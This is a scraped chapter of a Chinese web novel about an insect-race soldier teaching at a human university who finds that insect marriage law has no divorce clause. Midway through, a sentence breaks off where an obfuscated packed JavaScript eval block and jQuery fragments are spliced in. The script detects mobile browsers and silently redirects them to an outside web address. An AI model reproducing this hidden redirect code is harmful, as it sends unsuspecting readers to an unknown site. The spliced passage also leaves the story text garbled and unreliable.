156.他猛然意识到

作品:《死对头竟是雄虫

    虽然不知道赞德尔当年抽什么神经才会带着族人一起拟态成人类,他不是说这件事不好,而是张扬的老祖宗们显然没在乎把外貌拟态的那么漂亮到底会给他们可怜的后代们带来多少麻烦。


    抛开被养残的雄虫,雌虫和亚雌就是最低等的F……不对,现在F级已经绝迹了,是E级。E级就和外面很多文明的人类一样清秀了,S级更是各有各的惊艳,每个放在外面都可以拿脸吃一辈子饭。


    在又一次拒绝前来搭讪的女生时,赛提斯.柯克兰忍无可忍,直接语出惊人,“我已婚。”


    咬着吸管的克里兹动作突然一顿,紧接着喷出一口饮料,弯腰咳的惊天动地。


    陆川瞥了他一眼,似乎想说点什么,但又不知道怎么说,干脆缩着脖子装死。


    虽然说克里兹.梅是用「克勒因.伍兹」的假名和赛提斯在虫族那边以夫妻身份待过一段时间,但你知我知是一回事,光明正大说出去就是另一回事了。


    毕竟他们谁都没把这当回事啊。


    这死军雌到底有没有脑子,怎么直接说出这么惊天地泣鬼神的话。


    女生被这劲爆消息劈头盖脸砸懵了,虽然说大家上大学谈恋爱有几个是奔着结婚来的,但是吧……这种神颜,就这么……结婚了?


    你们虫族雄虫吃这么好吗?


    小姑娘晕晕乎乎走了。


    “我说——唔啊,朋友,”克里兹抽出纸巾把嘴擦干净,“你们那边,你不是说你这个级别的不婚吗?下次别说出这种暴论了,吓人。”


    “本来我的档案上就是已婚,只不过那名失踪不见的‘雄主’到底是谁我们心知肚明。”赛提斯歪头,“我没觉得这有什么不对,与其让他们整年整年的烦我,不如一开始直接从源头断了他们念想,海尔康奈可没虫谈恋爱。”


    “……怎么着,你们海尔康奈里是有雄虫在上学吗?你那不废话吗,一堆雌虫谈恋爱?”


    哦。


    赛提斯这才想起来他们不一样。


    他们是人类,而他是一只末伽后羿。


    那种背井离乡的苦涩再度浮现在心头,他是真的有些想塞莱卡迪克了,哪怕在星海绝大多数文明看来它就是个荒唐的笑话。


    陆川望着他们,觉得他们三个真是绝配。


    虫子,觉得自己是人的虫子,曾经是人的虫子。这种奇怪的组合啊……


    “总之,别多想。”一路送陆川回到宿舍,克里兹在楼下拍了拍他的肩膀,“你可以先翻翻军事理论的入门书,我随时都在。”


    一人一虫这次没坐车,慢悠悠在校园里走。


    赛提斯的样貌实在惹眼,几乎他上完第一节课后,「学校来了个巨漂亮的雌虫教授」的传闻就和他的照片一起漫天飞舞了。他也登过学校的教学社区,后台有不少学生给他发私信写小作文,通通被他交给教务处了。


    他觉得很奇怪,也发表过自己的看法。


    “你们似乎完全不恨我,明明不久前我们还在打仗,死了那么多……生命。”


    当时克里兹是怎么回答的来着?


    那家伙坐在公共休息区的沙发上,手上翻着文件嘴里咬着棒棒糖,头都懒得抬一下,“历史一旦被拉长,很多事情就会变得不值一提。如果每场战争结束后我们都去仇恨,那帝国的仇人未免也太多了。文明的发展总是伴随着战争与和平,真正能在时光冲刷下被刻骨铭心谨记的往往却不是战争,而是一场惨无人道的虐杀。”


    胜负乃兵家常事,唯有胜者将屠刀挥向手无寸铁的百姓一事,绝不可轻易忘怀。


    塞莱卡迪克是战争时的敌人没错,但他们一打赢了,二双方正处在建交蜜月期,很快这种曾经的事情就会被大家抛之脑后,只会有极少数的愤懑被淹没在茫茫大众之中。


    时间永远在向前,它很残酷。


    “也就只有我们才会永远记得了。”


    回到现在,赛提斯又被堵了。


    但不是因为表白。


    “老师好,我想问个问题。”不知道哪个院的小姑娘抱着自己的学习笔记和资料,一双清澈的眼睛望着面前的金发雌虫,“我对虫族的风俗和法律很感兴趣,所以私底下在研究。”


    “嗯,有什么问题吗?”赛提斯问。


    “老师,我想知道虫族婚姻法里关于离婚的规定到底是什么样的?我看虫族话本里都说没办法离婚,是假的吧?”


    赛提斯一顿。


    离婚?这个字眼从来没有在婚姻法里出现过,它只规定了财产分配,虫身所有权转移,尽是雄虫的特权,满纸荒唐。


    “确实没有离婚。”他摇头,“和你们人类不一样,雌虫、亚雌和雄虫在匹配后,往往前者就会认定后者的信息素,与其他雄虫的信息素产生排斥,硬要说的话,做剥离手术花费太过昂贵又不稳定。所以,我们不会离婚,婚姻法里也没有关于离婚的条文。”


    相反,因为本能,为了活命,多少雌虫亚雌拼着命献上一切,讨好雄虫,为了结婚。


    小


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15065777|152496||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    姑娘诶了一声,显然不愿意相信。


    “可是。”


    她道,“两百多年前,不就有案例吗?”


    200多年前,如今已经去世的那位战俘军雌在他的回忆录里写过这么一段话——


    「文明与文明之间的差异就是如此巨大。在赤色帝国堪称家常便饭的离婚,千百万年来,在塞莱卡迪克联邦,居然只有阿什兰一个虫有勇气做到。签下生死对赌协议,压上中将的荣誉,拿上所有能收集的证据,罗列出律法未曾涉及的盲区,从区级法院开始打,一路上诉到最高法院。」


    “所以,由他领导的上议院制订出来的婚姻法,怎么会没有关于离婚的条文呢?”


    他愣在那里,站在一旁的克里兹睁开了眼。


    【“能让戴维.阿什兰拍板大批量发行的,从来都是好用的,不论是对雄虫还是雌虫或者亚雌。”】


    “小雌父,我有点事情想问你。”


    军校里一般光脑没办法向外界输送信号,更何况赤色和虫族还没彻底互通,他干脆报备后直接接的临时频道让克里兹在旁边看着。


    “你从哪儿来的信号连上这边的?”信号并不稳定,对面莫莱德的声音听得出来萎靡,“说吧,什么事?你别是在赤色闯祸了。”


    “你那本结婚时雄虫保护协会送来的雌侍法,能不能给我拓一本?发这个账户的邮箱。”


    “可以是可以,你要那个做什么?”


    “还有别的什么法吗?都拓一下。”


    “……你不打算在军部干了,要转律师?”


    话虽然这么说,莫莱德还是很快把东西整理了出来,打包发送给自己大侄子,并叮嘱道,“你在赤色就安心教书,别整天杞人忧天,多待几年,暂时别回来。”


    “是他们吗?”他问。


    “总之,你在那边把自己日子过好,别让我们担心就行。”莫莱德并不打算在这方面和他多说,很快就挂了通讯。


    看着发过来的资料,克里兹挑眉,“所以说朋友,你也对你们虫族一知半解啊?”


    “一般虫没事谁会去翻法典?”


    赛提斯反问他。


    夜晚,金发雌虫坐在书桌前翻了一宿,确实没有在任何一部法典上找到关于离婚的字样,但他猛地意识到一件事。


    新宪法规定公民的虫身权利神圣不可侵犯,雄虫保护协会制定的婚姻法里,也从来没有说过雄虫可以随意伤害自己的配偶。


    而法庭,奉行的是不告不理。